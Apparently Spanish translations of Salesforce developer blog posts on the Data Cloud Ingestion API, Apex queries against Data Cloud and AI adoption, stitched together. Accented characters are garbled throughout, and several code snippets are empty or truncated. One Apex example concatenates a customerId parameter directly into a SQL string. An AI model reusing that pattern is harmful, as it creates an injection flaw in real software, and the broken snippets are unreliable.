Una vez que se haya creado el conector, necesitaremos decirle a Data Cloud qu茅 tipo de datos estamos esperando. Para esto, necesitaremos cargar un archivo de esquema utilizando la especificaci贸n OpenAPI. Este archivo de esquema tiene requisitos espec铆ficos, as铆 que aseg煤rese de consultar la documentaci贸n para obtener m谩s informaci贸n.

A continuaci贸n se muestra un ejemplo del archivo de esquema que cargaremos, que representa un solar_panel_event . Los campos clave a tener en cuenta incluyen event_id , que ser谩 煤nico para cada evento y luego se asignar谩 en Data Cloud como clave principal. Otro es customer_id , que nos ser谩 煤til para mapear el evento con un cliente de nuestra organizaci贸n. Finalmente, date_time representa la hora del evento.

panel_solar_event.yaml

Una vez que carguemos el esquema, podremos obtener una vista previa de sus campos y tipos de datos, y luego guardarlo en nuestro conector.

Ahora que nuestro conector tiene un esquema, podemos decir que est谩 creado. Sin embargo, a煤n no est谩 listo para comenzar a recibir datos. Necesitamos crear un flujo de datos para este prop贸sito.

Nota: Dado que los esquemas pueden evolucionar con el tiempo, tambi茅n puede usar la interfaz del conector de la API de ingesta para actualizar el esquema y agregar nuevos campos a su objeto de datos seg煤n sea necesario.

Creaci贸n e implementaci贸n de un flujo de datos

Ya tenemos listo nuestro conector API de ingesta. Ahora es el momento de establecer una conexi贸n para comenzar a importar datos. Para eso, necesitamos crear un flujo de datos . Una vez que el flujo de datos est谩 activo, podemos comenzar a ingerir datos en Data Cloud y almacenarlos como un objeto de Data Lake.

Para crear un nuevo flujo de datos, vaya a su pesta帽a en la aplicaci贸n Data Cloud, haga clic en Nuevo , seleccione Ingestion API y luego haga clic en Siguiente .

Nota: La opci贸n API de ingesta est谩 deshabilitada si no tiene ninguna fuente de ingesta conectada.

A continuaci贸n, ver谩 los diferentes objetos que est谩n asociados con su esquema. En nuestro caso, seleccione el objeto solar_panel_event y haga clic en Siguiente .

Al crear un flujo de datos, deber谩 seleccionar una categor铆a o tipo de datos en ese flujo de datos. Hay tres categor铆as: Compromiso , Perfil y Otro .

Compromiso Un conjunto de datos que representa un compromiso basado en series de tiempo, como un evento, interacci贸n con el cliente, interacci贸n web, etc.

Cuando se selecciona, el men煤 desplegable Campo de hora del evento aparece en la interfaz de usuario.

Perfil Un conjunto de datos que representa:

鈥 Una lista de consumidores con identificadores, como identificaciones de consumidores, direcciones de correo electr贸nico o n煤meros de tel茅fono

鈥 Una lista de empresas o cuentas con ID de cuenta

鈥 Una lista de empleados o cualquier otra poblaci贸n por la que desee segmentar o utilizar como poblaci贸n inicial del segmento

Otro Un conjunto de datos que no es un compromiso o un perfil, como informaci贸n de productos o tiendas.

Para nuestro ejemplo, dado que estamos planeando recibir eventos, seleccionaremos Compromiso . Mapearemos el event_id como la clave principal y la date_time como el campo de hora del evento.

Ahora que nuestros datos est谩n configurados, es hora de implementarlos. Despu茅s de revisar los flujos de datos que se van a crear, hagamos clic en Implementar para activarlos.

Ahora, echemos un vistazo a la p谩gina de detalles del flujo de datos. Aqu铆 podemos ver el objeto Data Lake que se ha creado en Data Cloud. Puede identificar un objeto de Data Lake por su sufijo __dll . Desde esta misma interfaz, puede comenzar a asignar sus datos a los objetos de su organizaci贸n para crear objetos de modelo de datos (parte del proceso de armonizaci贸n de Data Cloud). Sin embargo, no cubriremos ese tema en esta publicaci贸n de blog, pero tenemos un excelente video con Danielle Larregui que le muestra c贸mo hacerlo.

Nuestro conector API de ingesta est谩 listo para comenzar a recibir datos de sistemas de terceros. Para confirmar, regresemos a la interfaz de configuraci贸n de la API de ingesta, donde puede ver que el estado del conector es En uso .

Creaci贸n de una aplicaci贸n conectada

La API de ingesta admite todos los flujos de OAuth 2.0 admitidos por otras API REST de Salesforce. Para cargar datos mediante la API de ingesta, su aplicaci贸n conectada requiere los siguientes 谩mbitos:

脕mbitos de OAuth requeridos

cdp_ingest_api Acceda y administre sus datos de API de ingesta de nube de datos
API Accede y administra tus datos
refresco_token, acceso_sin conexi贸n Realizar solicitudes en su nombre en cualquier momento

Adem谩s, nuestra aplicaci贸n conectada requerir谩 un certificado digital. Para crear uno, puede ejecutar el siguiente comando usando el comando openssl :

Este comando crear谩 dos archivos, salesforce.key , que es la clave privada, y salesforce.crt , que es la clave p煤blica.

Nota : si no tiene instalado el comando openssl , puede instalarlo desde el sitio web de OpenSSL .

Para saber c贸mo crear una aplicaci贸n conectada, consulte la documentaci贸n oficial.

Solicitud de un token de acceso a la nube de datos

Para este ejemplo, usaremos el flujo de soporte JWT de OAuth 2.0 . Primero, necesitaremos crear un JWT (JSON Web Token) para solicitar un token de acceso.

Para crear un JWT, configurar谩 el encabezado para usar el algoritmo RSA256 .

Encabezado JWT

Luego, configure las siguientes notificaciones, teniendo en cuenta algunas notificaciones importantes:

  • iss: la clave de consumidor de OAuth/ID de cliente de su aplicaci贸n conectada
  • sub: el nombre de usuario de su organizaci贸n de Data Cloud
  • exp: el tiempo de vencimiento del token, expresado como una marca de tiempo de 茅poca

reclamos JWT

Nota : La 茅poca de Unix (o la hora de Unix o la hora POSIX o la marca de tiempo de Unix) es la cantidad de segundos que han transcurrido desde el 1 de enero de 1970 (medianoche UTC/GMT).

A continuaci贸n, deber谩 utilizar el algoritmo JWT para obtener el token completo y verificado.

Pero seamos honestos, no queremos crear un JWT manualmente. Para esto, utilizaremos el sitio web JWT.io para simplificar el proceso. Aseg煤rese de que el mensaje Firma verificada aparezca a continuaci贸n, lo que indica que nuestro JWT es v谩lido.

O puede crearlo program谩ticamente usando el lenguaje de programaci贸n de su elecci贸n. M谩s adelante en este art铆culo, compartir茅 un pr谩ctico script de Node.js para generar el token de acceso a la nube de datos.

Antes de que podamos autenticarnos usando el JWT que generamos, debemos aprobar este consumidor. Puede hacerlo abriendo la siguiente URL en su navegador.

<dx-code-block title language code-block="https://login.salesforce.com/services/oauth2/authorize?response_type=token&client_id=&redirect_uri=”>

Y luego, inicie sesi贸n y permita el acceso:

Ahora que hemos aprobado nuestro JWT, necesitamos autenticarnos. Este es un proceso de dos pasos. Primero, necesitamos obtener un token de acceso usando el JWT. Para hacer esto, realicemos una solicitud POST HTTP con la siguiente informaci贸n.

<dx-code-block title language code-block="POST https://login.salesforce.com/services/oauth2/token
Content-Type : x-www-form-urlencoded
grant_type=urn:ietf:params:oauth:grant-type:jwt-bearer
&assertion=”>

Nota: aseg煤rese de reemplazar <JWT> con el token que creamos anteriormente.

Esta solicitud nos dar谩 un token de acceso central y la URL de la instancia de Data Cloud, utilizando nuestra aplicaci贸n conectada. Como se muestra en el alcance , se nos otorgan los alcances cdp_ingest_api y api .

A continuaci贸n, debemos cambiar el token de acceso principal por un token de nube de datos. Para hacer eso, realicemos la siguiente solicitud POST.

<dx-code-block title language code-block="POST /services/a360/token Content-Type : x-www-form-urlencoded grant_type=urn:salesforce:grant-type:external:cdp &subject_token= &subject_token_type=urn:ietf:params:oauth:token-type:access_token”>

Ahora, estamos autenticados. El token de acceso a la nube de datos resultante es lo que usaremos para realizar solicitudes a la API de ingesta.

Para simplificar el proceso, he creado un script Node.js. Crea el JWT y realiza la autenticaci贸n en dos pasos. Para usarlo, necesitar谩 la clave privada que cre贸 anteriormente, as铆 como un archivo de configuraci贸n similar al siguiente.

config.js

Adem谩s, instale la dependencia jsonwebtoken desde npm ejecutando:

credenciales.js

console.log(auth)) .catch((err) => console.error(err)); “>

El m茅todo generateAccessToken devolver谩 el objeto de autenticaci贸n de Data Cloud, incluido el access_token y la instance_url necesarios para comenzar a ingerir datos en Data Cloud.

Ingesta de datos

Tenemos toda la informaci贸n necesaria para comenzar a ingerir datos en la nube de datos. Esto se puede lograr utilizando los patrones Streaming o Bulk.

Transmisi贸n

Para comenzar a transmitir datos en el conector de Ingesti贸n de nube de datos, primero obtenga el nombre del conector y el nombre del objeto de la configuraci贸n del conector de la API de Ingesti贸n. Para hacer esto, puede realizar una solicitud POST como la siguiente.

<dx-code-block title language code-block="POST https:///api/v1/ingest/sources/Solar_Panel_Events/solar_panel_event
Authorization: Bearer
Content-Type: application/json
{ "data": [ {"event_id": "f47ac10b-58cc-4372-a567-0e02b2c3d479","customer_id": "003R00000123456789","battery": 75.2,"dc_current": 9.8,"dc_voltage": 35.6,"mpp_energy": 120.5,"ac_voltage": 220.1,"ac_current": 5.3,"date_time": "2023-07-07T10:15:30.05Z"} ] }”>

Nota : aseg煤rese de reemplazar <token de acceso a la nube de datos> y <url de instancia> con los valores respectivos que obtuvo del proceso de autenticaci贸n.

Si todo va bien, recibir谩s la siguiente respuesta:

Esto indica que nuestros datos han sido aceptados con 茅xito.

Nota : tambi茅n puede validar los datos con el esquema antes de enviarlos agregando /actions/test al punto final de la API.

A granel

La ingesti贸n masiva implica varios pasos, lo que agrega un nivel de complejidad al proceso:

  • Crear un trabajo: este paso implica crear un trabajo para especificar el tipo de objeto de los datos que se procesan y la operaci贸n que se realizar谩, que puede ser upsert o delete.
  • Cargar los datos en CSV: Despu茅s de crear el trabajo, el siguiente paso es cargar los datos en formato CSV. El archivo CSV debe contener los datos que se procesar谩n, con cada fila representando un registro y las columnas que contienen los valores de campo.
  • Indicar la preparaci贸n de los datos: una vez que se cargan los datos, deber谩 indicar que los datos est谩n listos para ser procesados.
  • Cerrar o cancelar el trabajo: despu茅s de procesar los datos, puede cerrar el trabajo para marcarlo como completado o cancelar el trabajo si es necesario.

Para obtener m谩s informaci贸n sobre c贸mo usar los puntos de conexi贸n masivos, puede consultar la documentaci贸n oficial .

Puede consultar los datos entrantes utilizando el Explorador de datos en Data Cloud. All铆, seleccionar谩 el objeto Data Lake correspondiente al conector de ingesta que cre贸 anteriormente.

Si desea probarlo usted mismo, siempre puede utilizar nuestra colecci贸n Postman de desarrolladores de Salesforce, que incluye las API de Salesforce Data Cloud .

Conclusi贸n

Ahora, est谩 listo para comenzar a cargar datos mediante programaci贸n en Data Cloud mediante la API de ingesta. Siguiendo los pasos anteriores, puede conectarse sin problemas a varias fuentes de datos e importar datos en tiempo real o en masa, y comenzar a aprovechar el poder y la magia de Salesforce Data Cloud.

Adem谩s, si prefiere aprender de un video, mi colega Aditya ha creado un video 煤til que explica lo que hemos cubierto en esta publicaci贸n de blog . Aseg煤rese de ver tambi茅n los otros excelentes videos de la serie Data Cloud Decoded .

Recursos

Sobre los autores

Juli谩n Duque es un defensor principal de desarrolladores en Salesforce, donde se enfoca en Node.js, JavaScript y desarrollo backend. Le apasiona la educaci贸n y el intercambio de conocimientos y ha estado involucrado en la organizaci贸n de comunidades tecnol贸gicas y de desarrolladores desde 2001.

S铆galo @julianduque en Threads, @julian_duque en Twitter, @julianduque.co en Bluesky social o LinkedIn .

Aditya Naag Topalli es una defensora de desarrolladores l铆der certificada 14 veces en Salesforce. Capacita e inspira a los desarrolladores dentro y fuera del ecosistema de Salesforce a trav茅s de sus videos, seminarios web, publicaciones de blog y contribuciones de c贸digo abierto, y tambi茅n habla con frecuencia en conferencias y eventos en todo el mundo. S铆galo en Twitter o LinkedIn y vea sus contribuciones en GitHub .

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Liberando el poder de Apex en Salesforce Data Cloud 鈥 Parte 1 鈽侊笍

Liberando el poder de Apex en Salesforce Data Cloud 鈥 Parte 1 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Libere el poder de Apex en Salesforce Data Cloud 鈥 Parte 1 | Blog de desarrolladores de Salesforce

Trailblazer.me estar谩 fuera de l铆nea por mantenimiento programado a partir del 21 de julio de 2023 a las 6 p. m. (hora del Pac铆fico) hasta el 22 de julio de 2023 mientras transformamos Trailblazer.me en la nueva cuenta de Trailblazer. Durante este tiempo de inactividad, no podr谩 iniciar sesi贸n en ninguna aplicaci贸n relacionada, incluidas Ayuda y capacitaci贸n, AppExchange, Trailhead y Trailblazer Community, y m谩s.

Salesforce Data Cloud permite a los desarrolladores aprovechar el poder de los grandes datos para las empresas. Al utilizar Data Cloud, los clientes pueden consolidar los datos de clientes de m煤ltiples sistemas en una 煤nica instancia de Salesforce, creando una vista unificada de los datos en toda la empresa. Estos datos se pueden utilizar para an谩lisis, aprendizaje autom谩tico y acciones automatizadas. En este primer blog de nuestra serie de dos partes, exploraremos diferentes utilidades de Apex para consultar datos en Data Cloud y brindaremos orientaci贸n sobre c贸mo utilizarlas de manera efectiva.

Apex ofrece una variedad de utilidades para Data Cloud. Por ejemplo, permite que los desarrolladores construyan con Lightning Web Components para personalizar las experiencias de usuario est谩ndar de Data Cloud, o que los ISV construyan su propio c贸digo para automatizar operaciones espec铆ficas de Data Cloud, como la resoluci贸n de identidades, la creaci贸n y ejecuci贸n de conocimientos calculados de Data Cloud o la segmentaci贸n.

Objetos de Salesforce Data Cloud frente a objetos est谩ndar/personalizados

Antes de analizar c贸mo consultar datos de Data Cloud, comprendamos un poco acerca de los objetos de Salesforce Data Cloud y c贸mo difieren con respecto a los objetos est谩ndar/personalizados de Salesforce Platform.

Salesforce Data Cloud tiene un modelo de datos can贸nico que incluye objetos de lago de datos (DLO) y objetos de modelo de datos (DMO). Puede leer acerca de c贸mo estos objetos se asignan entre s铆 y sus prop贸sitos en la documentaci贸n de ayuda.

Los objetos de Data Cloud pueden ingerir y almacenar vol煤menes de datos mucho m谩s grandes (en la magnitud de miles de millones de registros) en comparaci贸n con los objetos est谩ndar y personalizados regulares en la Plataforma de Salesforce. Los objetos est谩ndar/personalizados est谩n dise帽ados para casos de uso transaccional y no son adecuados para almacenar y procesar big data. Por otro lado, los objetos de Data Cloud agregan capacidades similares a las de un lago de datos .

Otra distinci贸n clave es que los objetos de Data Cloud no admiten disparadores Synchronous Apex. Sin embargo, a煤n puede lograr la automatizaci贸n de procesos suscribi茅ndose a Change Data Capture (CDC) y utilizando Flows o Apex. Lo que es com煤n entre los objetos de la nube de datos y los objetos de la plataforma es que est谩n construidos sobre la misma base impulsada por metadatos, lo que hace posible el uso de caracter铆sticas de la plataforma, como Salesforce Flow, Apex y Platform Events.

C贸mo consultar datos de Data Cloud en Apex

Antes de profundizar en alg煤n c贸digo, exploremos un ejemplo de caso de uso de una aplicaci贸n de nube de datos.

Ejemplo de caso de uso y supuestos

Para nuestros ejemplos de c贸digo en esta publicaci贸n de blog, supongamos que estamos trabajando para una empresa ficticia llamada Solar Circles que captura datos de todos sus paneles solares instalados en Data Cloud. Cada mes, se generan decenas de millones de puntos de datos a partir de estos paneles. Al tener estos datos en Data Cloud, Solar Circles obtiene la capacidad de realizar an谩lisis, utilizar t茅cnicas de aprendizaje autom谩tico y obtener informaci贸n procesable de los datos.

El c贸digo de Apex en esta publicaci贸n asume una condici贸n importante: la nube de datos est谩 habilitada y el c贸digo de Apex se ejecuta en la organizaci贸n de la nube de datos y no en las organizaciones de Salesforce que est谩n conectadas a la organizaci贸n de la nube de datos.

Consultar datos de Data Cloud usando SQL

Para acceder a datos de objetos de Data Cloud (DLO o DMO), utilice la clase CdpQuery (ver documentos ) en Apex. Esta clase est谩 disponible en el espacio de nombres ConnectApi (ver documentos ).

A continuaci贸n se muestra un fragmento de c贸digo de ejemplo que muestra c贸mo acceder a los datos de un objeto de nube de datos mediante una instrucci贸n SQL.

<dx-code-block title language="apex" code-block="@AuraEnabled(cacheable=true)
public static void getSolarPanelData(String customerId) { List<Map> returnData = new List<Map>(); // Create input for query operation ConnectApi.CdpQueryInput queryInput = new ConnectApi.CdpQueryInput(); queryInput.sql = ‘SELECT * ‘ + ‘FROM Solar_Panel_Events_solar_panel_F4C03__dlm ‘ + ‘WHERE CustomerId__c = ” + customerId + ” ‘ + ‘ORDER BY date_time__c DESC LIMIT 50’; // Execute SQL ConnectApi.CdpQueryOutputV2 response = ConnectApi.CdpQuery.queryAnsiSqlV2( queryInput ); Map responseMetadata = new Map(); responseMetadata = response.metadata; // Parse response System.debug( ‘Number of rows in the result data set ‘ + response.rowCount ); System.debug(‘Next batch ID ‘ + response.nextBatchId); System.debug(‘Query Metadata’ + responseMetadata); for (ConnectApi.CdpQueryV2Row resultRow : response.data) { for (Object result : resultRow.rowData) { system.debug(result); } } “>

En el ejemplo anterior, estamos recuperando datos para un componente LWC personalizado en una p谩gina Lightning de caso de objeto est谩ndar para un agente de servicio. El componente muestra datos de dispositivos recientes provenientes de los paneles instalados en el sitio del cliente.

Aspectos destacados del c贸digo

  • El m茅todo toma un par谩metro customerId , lo que indica que recupera los datos del panel solar para un cliente espec铆fico
  • Se crea una instancia de ConnectApi.CdpQueryInput llamada queryInput para definir la operaci贸n de consulta.
  • La propiedad queryInput.sql se establece con una consulta SQL que selecciona todos los campos del objeto de datos Solar_Panel_Events_solar_panel_F4C03__dlm , filtrado por CustomerId__c
  • La consulta se ejecuta mediante ConnectApi.CdpQuery.queryAnsiSqlV2(queryInput) , que devuelve un objeto ConnectApi.CdpQueryOutputV2 denominado response
  • El response.metadata se asigna a responseMetadata , que almacena los metadatos de la respuesta de la consulta.

Consideraciones importantes

  • Apex tiene un l铆mite de CPU de 10 segundos para transacciones sincr贸nicas. Data Cloud puede contener miles de millones de filas de datos. Al recuperar datos en Apex desde Data Cloud, aseg煤rese de agregar suficientes filtros y proporcionar contexto (como el recordId con el que est谩 trabajando) para limitar la cantidad de filas y evitar alcanzar el l铆mite de CPU de 10 segundos.
  • Si est谩 recuperando una gran cantidad de datos, use Queueable Apex para ejecutar el proceso de forma asincr贸nica y aproveche el l铆mite de CPU de 60 segundos.
  • Recomendamos usar queryAnsiSqlV2 (consulte los documentos ) en lugar de queryAnsiSql para aprovechar las solicitudes posteriores y los tama帽os de respuesta m谩s grandes para casos de uso en los que necesita extraer grandes vol煤menes de datos.
  • Use nextBatchAnsiSqlV2(nextBatchId) (ver documentos ) para proporcionar batchId de la respuesta anterior para recuperar el siguiente conjunto de resultados.
  • Tambi茅n puede usar SOQL en lugar de SQL, pero aseg煤rese de obtener su SOQL usando el Explorador de datos , ya que hay funciones de SOQL que pueden no ser aplicables a los objetos de Data Cloud.

C贸mo buscar informaci贸n de perfil

Antes de analizar c贸mo buscar informaci贸n de perfil de Data Cloud en Apex, debemos comprender qu茅 es un perfil unificado.

Perfil unificado y resoluci贸n de identidad

Supongamos que Solar Circles, nuestro fabricante ficticio de paneles solares, tiene datos sobre un cliente llamado Martha en varios sistemas. Cada sistema tiene informaci贸n diferente sobre ella, como diferentes direcciones de correo electr贸nico. Estos datos 煤nicos se denominan puntos de contacto . Los clientes como Martha est谩n representados por m煤ltiples registros de contacto y perfiles espec铆ficos del sistema en varios sistemas. Esto es necesario para que cada nube y producto funcione de forma independiente, pero puede crear silos de datos.

Data Cloud proporciona una funci贸n de resoluci贸n de identidad para resolver este problema. Mediante el uso de reglas de identidad , el sistema crea perfiles individuales unificados que se pueden usar para segmentaci贸n y activaciones en varios otros sistemas.

Buscar informaci贸n de perfil de Data Cloud

A continuaci贸n se muestra un c贸digo Apex de utilidad de ejemplo que busca informaci贸n de perfil. Tenga en cuenta que se utiliza el m茅todo queryProfileApi de la clase ConnectApi.CdpQuery .

<dx-code-block title language="apex" code-block=" @AuraEnabled public static List getProfileData( String dataModelName, String childDataModelName, String searchKey, String customerName ) { ConnectApi.CdpQueryOutput response = ConnectApi.CdpQuery.queryProfileApi( dataModelName, // Name of the data model object, for example, UnifiedIndividual__dlm customerName, // Value of the primary or secondary key field, for example, John. If unspecified, defaults to the value of the primary key field. childDataModelName, // Name of the child data model object, for example, UnifiedContactPointEmail__dlm. searchKey, // If a field other than the primary key is used, name of the key field, for example, FirstName__c null, // Comma-separated list of equality expressions within square brackets null, // Comma-separated list of child object field names that you want to include in the result 100, // Number of items to return. null, // Number of rows to skip before returning results. null // Sort order for the result set, ); return response.data; } “>

Aqu铆 hay un fragmento de c贸digo de ejemplo que invoca el c贸digo de utilidad anterior al pasar los par谩metros.

<dx-code-block title language="apex" code-block=" List response = DataCloudUtils.getProfileData( ‘UnifiedIndividual__dlm’, ‘UnifiedContactPointEmail__dlm’, ‘ssot__FirstName__c’, ‘Martha’ ); “>

El c贸digo busca la informaci贸n de perfil del cliente Martha en el objeto de modelo de datos UnifiedIndividual__dlm .

Aspectos destacados del c贸digo

  • El m茅todo utiliza ConnectApi.CdpQuery.queryProfileApi() para ejecutar la consulta de datos de perfil en la nube de datos
  • Los par谩metros de consulta incluyen los nombres del objeto del modelo de datos ( dataModelName ), el objeto del modelo de datos secundario ( childDataModelName ), el campo de clave de b煤squeda ( searchKey ) y el nombre del cliente ( customerName )
  • Se pueden proporcionar par谩metros opcionales adicionales, como expresiones de igualdad, nombres de campos de objetos secundarios, la cantidad de elementos para devolver, la cantidad de filas para omitir y el orden de clasificaci贸n para el conjunto de resultados.
  • La respuesta de la consulta se almacena en un objeto ConnectApi.CdpQueryOutput llamado response
  • El m茅todo devuelve response.data , que representa los datos recuperados de la consulta

Importante consideraci贸n

  • Vuelva a verificar los nombres de campo y objeto antes de usarlos en el c贸digo de Apex, ya que, de lo contrario, el m茅todo puede generar excepciones y errores internos del servidor.

驴C贸mo consultar datos de conocimientos calculados?

Los conocimientos calculados le permiten definir y calcular m茅tricas multidimensionales en todo su estado digital en Data Cloud. Data Cloud genera informaci贸n calculada al escribir SQL , de manera declarativa usando Insights Builder o usando Apex.

Streaming vs insights calculados

Hay dos tipos de informaci贸n en Data Cloud: transmisi贸n e informaci贸n calculada.

Los conocimientos calculados son funciones que pueden calcular m茅tricas en datos hist贸ricos. Se procesan en lotes. Por ejemplo, en nuestra aplicaci贸n Solar Circles, podemos tener una visi贸n calculada que mide la potencia total generada por los paneles agrupados por cada cliente.

La informaci贸n de transmisi贸n se genera casi en tiempo real mediante el an谩lisis del flujo continuo de datos entrantes. Estos conocimientos permiten la activaci贸n inmediata de acciones en los sistemas posteriores. Por ejemplo, la informaci贸n de transmisi贸n se puede utilizar para identificar a los clientes cuyos paneles solares generan una potencia m铆nima. Al aprovechar una acci贸n de datos en la transmisi贸n de conocimientos, podemos crear de manera proactiva un caso para dichos clientes en Salesforce Service Cloud.

Consultar datos a partir de una perspectiva calculada

Para consultar datos de las perspectivas calculadas, use el m茅todo queryCalculatedInsights de la clase CdpQuery . A continuaci贸n se muestra un fragmento de c贸digo de ejemplo que muestra c贸mo consultar datos de una perspectiva calculada conocida.

Aspectos destacados del c贸digo

  • El m茅todo queryCalculatedInsights de ConnectApi.CdpQuery se usa para recuperar informaci贸n calculada de Data Cloud.
  • El primer par谩metro es el nombre de API de la informaci贸n calculada, que debe terminar con __cio . Por ejemplo, <calculted insight api name> podr铆a reemplazarse por totalpowergenerated__cio .
  • Los siguientes par谩metros especifican dimensiones y medidas. Una dimensi贸n representa un campo o atributo en el que se basa la informaci贸n, mientras que una medida representa la m茅trica calculada. Proporcionar null para estos par谩metros incluye todas las dimensiones y medidas disponibles.
  • Se puede especificar el orden de clasificaci贸n para el conjunto de resultados, pero en este fragmento de c贸digo, se establece en null .
  • Los par谩metros opcionales adicionales incluyen filtrar el conjunto de resultados a un 谩mbito o tipo m谩s espec铆fico y especificar la cantidad de elementos que se devolver谩n y la cantidad de filas que se omitir谩n antes de devolver los resultados.
  • Los datos resultantes se almacenan en un objeto ConnectApi.CdpQueryOutput denominado response .

Importante consideraci贸n

  • Aseg煤rese de proporcionar el nombre de API correcto para la informaci贸n. Un nombre de API incorrecto da como resultado un error del sistema.

Conclusi贸n

En esta publicaci贸n de blog, brindamos una descripci贸n general de c贸mo puede aprovechar el poder de Salesforce Data Cloud y Apex para aprovechar los grandes datos para las empresas. Los ejemplos de c贸digo y los puntos destacados demuestran enfoques pr谩cticos para acceder y consultar datos de objetos de Data Cloud.

La publicaci贸n tambi茅n destaca las mejores pr谩cticas y las limitaciones que se deben tener en cuenta al trabajar con Data Cloud y Apex, como administrar los l铆mites de la CPU, utilizar el procesamiento asincr贸nico para grandes conjuntos de datos y garantizar la denominaci贸n correcta de la API para los conocimientos calculados.

En la siguiente parte de la serie, profundizaremos en las clases de Apex como CdpCalculatedInsight (consulte los documentos ), CdpIdentityResolution (consulte los documentos ) y CdpSegment (consulte los documentos ) que se pueden usar para administrar informaci贸n calculada, crear reglas de resoluci贸n de identidad y segmentaci贸n en Data Cloud mediante Apex.

Referencias adicionales

Sobre el Autor

Mohith Shrivastava es promotor de desarrollo en Salesforce con una d茅cada de experiencia en la creaci贸n de productos a escala empresarial en la plataforma de Salesforce. Actualmente se est谩 enfocando en las herramientas para desarrolladores de Salesforce, Flow, Apex y Lightning Web Components en Salesforce. Mohith se encuentra actualmente entre los principales contribuyentes en Salesforce Stack Exchange, un foro de desarrolladores donde los desarrolladores de Salesforce pueden hacer preguntas y compartir conocimientos. Puedes seguirlo a trav茅s de su Twitter @msrivastav13 .

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La innovaci贸n en IA lleg贸 para quedarse: c贸mo mantenerse al d铆a

La innovaci贸n en IA lleg贸 para quedarse: c贸mo mantenerse al d铆a

Algunos de ustedes pueden ser esc茅pticos sobre la exageraci贸n que rodea a la IA, descart谩ndola como otra palabra de moda usada en exceso. Pero dentro de la industria tecnol贸gica, creemos que esta revoluci贸n tecnol贸gica tendr谩 un profundo impacto en la vida de las personas. Lo que distingue a esta ola de cambio es su naturaleza continua y en constante evoluci贸n.

Si bien la IA ha estado presente durante a帽os, ahora est谩 alcanzando nuevas alturas. El aprendizaje profundo y la capacidad de la IA para imitar las capacidades humanas est谩n impulsando la innovaci贸n de la IA. Estos avances han transformado lo que antes se consideraba imposible en una realidad tangible. Para mantenerse al d铆a con estos desarrollos, es crucial considerar las siguientes estrategias.

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El Foro Econ贸mico Mundial informa que casi una cuarta parte de todos los trabajos sufrir谩n cambios significativos en los pr贸ximos cinco a帽os. Esta estad铆stica asombrosa destaca la necesidad urgente de mejorar las habilidades, ya que el 44% de las habilidades dentro de esos trabajos deber谩n adaptarse. El crecimiento exponencial de las posibilidades debido a la innovaci贸n de la IA es evidente cada d铆a que pasa.

Para prosperar en esta nueva era, los l铆deres en el acelerado entorno empresarial actual deben enfrentarse a una complejidad y turbulencia sin precedentes. La velocidad del cambio ha superado nuestra capacidad individual para mantenernos al d铆a. Adoptar nuevas tecnolog铆as como la IA es esencial para el 茅xito y mantenerse a la vanguardia. En lugar de buscar la estabilidad, debemos adoptar lo contrario y aprovechar el poder de los datos, la IA y los circuitos de retroalimentaci贸n en tiempo real para mejorar nuestra toma de decisiones estrat茅gicas.

Ahora, exploremos pasos pr谩cticos para adoptar esta nueva realidad:

  • Potencie la creatividad con IA generativa : use su capacidad para producir ideas, dise帽os y contenido innovadores. Puede aprovechar grandes cantidades de datos y generar soluciones creativas que antes eran inimaginables. Al hacerlo, podr谩 mantenerse a la vanguardia en un mercado de innovaci贸n de IA que evoluciona r谩pidamente. Tambi茅n podr谩 explorar trabajos m谩s imaginativos y de valor agregado al automatizar tareas repetitivas y liberar tiempo.
  • Reconsidere su papel en la era de la innovaci贸n de la IA : la mayor铆a de los trabajadores del conocimiento no podr谩n hacer su trabajo sin el apoyo de la IA. Necesitar谩n aprender estas habilidades en muy poco tiempo. La IA exigir谩 que reconsideremos nuestro papel en la autor铆a, la ideaci贸n y la resoluci贸n de problemas.
  • Espere revoluciones tecnol贸gicas frecuentes : el tiempo se acorta entre transformaciones importantes. Hace cientos de a帽os, se necesitaron cambios importantes en la tecnolog铆a, como el causado por la imprenta, en el transcurso de varias generaciones. Con el paso del tiempo, el ritmo del cambio se aceler贸. Tomemos, por ejemplo, los cambios provocados por la invenci贸n del autom贸vil, que se produjeron entre generaciones. Ahora, podemos ver que las revoluciones en tecnolog铆a, como Internet, pueden ocurrir dentro de una sola generaci贸n.

La IA se est谩 moviendo r谩pido y continuar谩 creando cambios constantes. Para adaptarnos, necesitamos sentirnos c贸modos con la inestabilidad porque el polvo nunca se asentar谩 . Si se encuentra sin planes para ajustar su forma de trabajar, inicie la conversaci贸n ahora.

Volverse m谩s receptivo al cambio

Reconocer y solidarizarse con los desaf铆os de la transformaci贸n . Considere los siguientes enfoques pr谩cticos para apoyar a su organizaci贸n a trav茅s del cambio:

  • Cree seguridad para que las personas exploren posibilidades : este es el ancla del enfoque de cambio centrado en el ser humano de Salesforce. Al igual que el ancla de un barco, permitir谩 deambular en todas las direcciones mientras se mantiene en una ubicaci贸n estrat茅gica.
  • Defina lo que se mantendr谩 firme : cuando todo parece estar cambiando r谩pidamente, identifique las cosas importantes que NO est谩n cambiando. Esto los aislar谩 del mar de novedades que rodean a sus equipos.
  • Encuentre peque帽os pasos para preparar a su gente : Algo tan simple como mantener sus Etapas de ventas actuales mientras aplica EinsteinGPT puede brindarle una base segura mientras prueba cosas nuevas.
  • Invierta en capacitaci贸n y capacitaci贸n : reconozca que la innovaci贸n de la IA afectar谩 los roles laborales y las habilidades requeridas. Proporcione programas de capacitaci贸n y recursos para que sus empleados aprendan a trabajar de manera efectiva con las tecnolog铆as de IA. Al hacerlo, fomentar谩 una cultura de aprendizaje continuo y desarrollo de habilidades.

Recuerde, demasiados cambios a la vez pueden generar resistencia. Al administrar y enmarcar sus iniciativas de cambio de manera reflexiva, puede ayudar a su organizaci贸n a desarrollar una mentalidad abierta. Cuando eso suceda, los empleados se sentir谩n m谩s seguros para explorar nuevas ideas. Esto permite una cultura de adaptabilidad y crecimiento.

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Construye pistas para el futuro

El 茅xito llegar谩 a las organizaciones que crean un espacio para explorar el cambio y probar los impactos potenciales de la innovaci贸n de la IA. Siga estos pasos para construir su futuro de IA:

  • Forme un equipo de innovaci贸n multifuncional : re煤na un equipo de personas con experiencia diversa en comportamiento, adopci贸n y transformaci贸n. Este equipo impulsar谩 la exploraci贸n, implementaci贸n y prueba de soluciones de IA dentro de su organizaci贸n.
